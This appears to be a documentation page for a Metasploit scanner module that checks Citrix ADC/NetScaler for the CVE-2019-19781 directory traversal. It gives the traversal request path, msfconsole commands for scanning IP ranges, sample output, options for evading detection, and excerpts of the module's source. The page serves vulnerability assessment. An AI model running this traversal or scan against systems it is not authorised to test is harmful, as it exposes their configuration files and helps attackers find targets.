Citrix ADC (NetScaler) Directory Traversal Scanner - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/citrix_dir_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Citrix ADC (NetScaler) Directory Traversal Scanner
Module: auxiliary/scanner/http/citrix_dir_traversal
Source code: modules/auxiliary/scanner/http/citrix_dir_traversal.rb
Disclosure date: 2019-12-17
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-19781
This module is also known as Shitrix.
This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC (NetScaler). It requests the smb.conf file located in the /vpns/cfg directory by issuing the request /vpn/../vpns/cfg/smb.conf. It then checks if the server is vulnerable by looking for the presence of a "[global]" directive in smb.conf, which this file should always contain.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/citrix_dir_traversal
msf auxiliary(citrix_dir_traversal) > show options
... show and set options ...
msf auxiliary(citrix_dir_traversal) > set RHOSTS ip-range
msf auxiliary(citrix_dir_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(citrix_dir_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(citrix_dir_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(citrix_dir_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. The vulnerability, tracked as CVE-2019-19781, allows for directory traversal. If exploited, it could allow an unauthenticated attacker to perform arbitrary code execution.
Because vulnerable servers allow for directory traversal, they will accept the request GET /vpn/../vpns/
and process it as a request for GET /vpns/
, a directory that contains PERL scripts that can be targeted to allow for limited file writing on the vulnerable host.
This module checks if a target server is vulnerable by issuing an HTTP GET request for /vpn/../vpns/cfg/smb.conf
and then checking the response for [global]
since this configuration file should contain global variables. If [global]
is found, the server is vulnerable to CVE-2019-19781.
Verification Steps
- Install the module as usual
- Start msfconsole
- Do:
use auxiliary/scanner/http/citrix_dir_traversal
- Do:
set RHOSTS [IP]
- Do:
run
Options
Proxies
. This option is not set by default.RPORT
. The default setting is80
. To use:set RPORT [PORT]
SSL
. The default setting isfalse
.THREADS
. The default setting is1
.VHOST
. This option is not set by default.TARGETURI
. This option is the base path./
by default.PATH
. This option is the traversal path./vpn/../vpns/cfg/smb.conf
by default.
Scenarios
msf5 auxiliary(scanner/http/citrix_dir_traversal) > options
Module options (auxiliary/scanner/http/citrix_dir_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH /vpn/../vpns/cfg/smb.conf yes Traversal path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
msf5 auxiliary(scanner/http/citrix_dir_traversal) > run
[+] http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf - The target is vulnerable to CVE-2019-19781.
[+] Obtained HTTP response code 200 for http://127.0.0.1:8080/vpn/../vpns/cfg/smb.conf. This means that access to /vpn/../vpns/cfg/smb.conf was obtained via directory traversal.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/citrix_dir_traversal) >
References
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/citrix_dir_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/citrix_dir_traversal
msf6 auxiliary(scanner/http/citrix_dir_traversal) > show info
Name: Citrix ADC (NetScaler) Directory Traversal Scanner
Module: auxiliary/scanner/http/citrix_dir_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-12-17
Provided by:
Mikhail Klyuchnikov
Erik Wynter
altonjx
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PATH /vpn/../vpns/cfg/smb.conf yes Traversal path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a directory traversal vulnerability
(CVE-2019-19781) within Citrix ADC (NetScaler). It requests the
smb.conf file located in the /vpns/cfg directory by issuing the
request /vpn/../vpns/cfg/smb.conf. It then checks if the server is
vulnerable by looking for the presence of a "[global]" directive in
smb.conf, which this file should always contain.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-19781
https://support.citrix.com/article/CTX267027/
https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/
Also known as:
Shitrix
Module Options
This is a complete list of options available in the scanner/http/citrix_dir_traversal auxiliary module:
msf6 auxiliary(scanner/http/citrix_dir_traversal) > show options
Module options (auxiliary/scanner/http/citrix_dir_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH /vpn/../vpns/cfg/smb.conf yes Traversal path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/citrix_dir_traversal auxiliary module:
msf6 auxiliary(scanner/http/citrix_dir_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/citrix_dir_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/citrix_dir_traversal module can do:
msf6 auxiliary(scanner/http/citrix_dir_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/citrix_dir_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/citrix_dir_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<FULL_URI-TURI> - No response, target seems down.
Here is a relevant code snippet related to the "<FULL_URI-TURI> - No response, target seems down." error message:
48: 'method' => 'GET',
49: 'uri' => turi
50: )
51:
52: unless res
53: print_error("#{full_uri(turi)} - No response, target seems down.")
54:
55: return Exploit::CheckCode::Unknown
56: end
57:
58: unless res.code == 200
<FULL_URI-TURI> - The target is not vulnerable to CVE-2019-19781.
Here is a relevant code snippet related to the "<FULL_URI-TURI> - The target is not vulnerable to CVE-2019-19781." error message:
54:
55: return Exploit::CheckCode::Unknown
56: end
57:
58: unless res.code == 200
59: print_error("#{full_uri(turi)} - The target is not vulnerable to CVE-2019-19781.")
60: vprint_error("Obtained HTTP response code #{res.code} for #{full_uri(turi)}.")
61:
62: return Exploit::CheckCode::Safe
63: end
64:
Obtained HTTP response code <RES.CODE> for <FULL_URI-TURI>.
Here is a relevant code snippet related to the "Obtained HTTP response code <RES.CODE> for <FULL_URI-TURI>." error message:
55: return Exploit::CheckCode::Unknown
56: end
57:
58: unless res.code == 200
59: print_error("#{full_uri(turi)} - The target is not vulnerable to CVE-2019-19781.")
60: vprint_error("Obtained HTTP response code #{res.code} for #{full_uri(turi)}.")
61:
62: return Exploit::CheckCode::Safe
63: end
64:
65: if turi.end_with?('smb.conf')
<TURI> does not contain "[global]" directive.
Here is a relevant code snippet related to the "<TURI> does not contain "[global]" directive." error message:
62: return Exploit::CheckCode::Safe
63: end
64:
65: if turi.end_with?('smb.conf')
66: unless res.headers['Content-Type'].starts_with?('text/plain') && res.body.match(/\[\s*global\s*\]/)
67: vprint_warning("#{turi} does not contain \"[global]\" directive.")
68: end
69: end
70:
71: print_good("#{full_uri(turi)} - The target is vulnerable to CVE-2019-19781.")
72: msg = "Obtained HTTP response code #{res.code} for #{full_uri(turi)}. " \
Go back to menu.
Related Pull Requests
- #13829 Merged Pull Request: Credit Mikhail Klyuchnikov for CVE-2019-19781
- #12828 Merged Pull Request: Check for whitespace in [global] directive for Citrix
- #12820 Merged Pull Request: Fix #12813, prefer send_request_cgi over send_request_raw
- #12816 Merged Pull Request: add citrix path traversal exploit
- #12819 Merged Pull Request: Fix #12813, Twitter handle correction
References
- CVE-2019-19781
- https://support.citrix.com/article/CTX267027/
- https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/
See Also
Check also the following modules related to this module:
- exploit/freebsd/http/citrix_dir_traversal_rce
- auxiliary/admin/citrix/citrix_netscaler_config_decrypt
- auxiliary/gather/citrix_published_applications
- auxiliary/gather/citrix_published_bruteforce
- exploit/freebsd/misc/citrix_netscaler_soap_bof
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/windows/browser/citrix_gateway_actx
- exploit/windows/misc/citrix_streamprocess
- exploit/windows/misc/citrix_streamprocess_data_msg
- exploit/windows/misc/citrix_streamprocess_get_boot_record_request
- exploit/windows/misc/citrix_streamprocess_get_footer
- exploit/windows/misc/citrix_streamprocess_get_objects
- auxiliary/scanner/http/a10networks_ax_directory_traversal
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/http/barracuda_directory_traversal
- auxiliary/scanner/http/brute_dirs
- auxiliary/scanner/http/cisco_directory_traversal
- auxiliary/scanner/http/directadmin_login
- auxiliary/scanner/http/dir_listing
- auxiliary/scanner/http/dir_scanner
- auxiliary/scanner/http/dir_webdav_unicode_bypass
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/http/file_same_name_dir
- auxiliary/scanner/http/files_dir
- auxiliary/scanner/http/httpdasm_directory_traversal
- auxiliary/scanner/http/majordomo2_directory_traversal
- auxiliary/scanner/http/prev_dir_same_name_file
- auxiliary/scanner/http/radware_appdirector_enum
- auxiliary/scanner/http/smt_ipmi_url_redirect_traversal
- auxiliary/scanner/http/springcloud_directory_traversal
- auxiliary/scanner/http/support_center_plus_directory_traversal
Related Nessus plugins:
- Citrix ADC and Citrix NetScaler Gateway Arbitrary Code Execution (CTX267027)
- Citrix ADC and Citrix NetScaler Gateway Arbitrary Code Execution (CTX267027) (Direct Check)
- FreeBSD : Template::Toolkit -- Directory traversal on write (2bab995f-36d4-11ea-9dad-002590acae31)
Authors
- Mikhail Klyuchnikov
- Erik Wynter
- altonjx
Version
This page has been produced using Metasploit Framework version 6.2.9-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.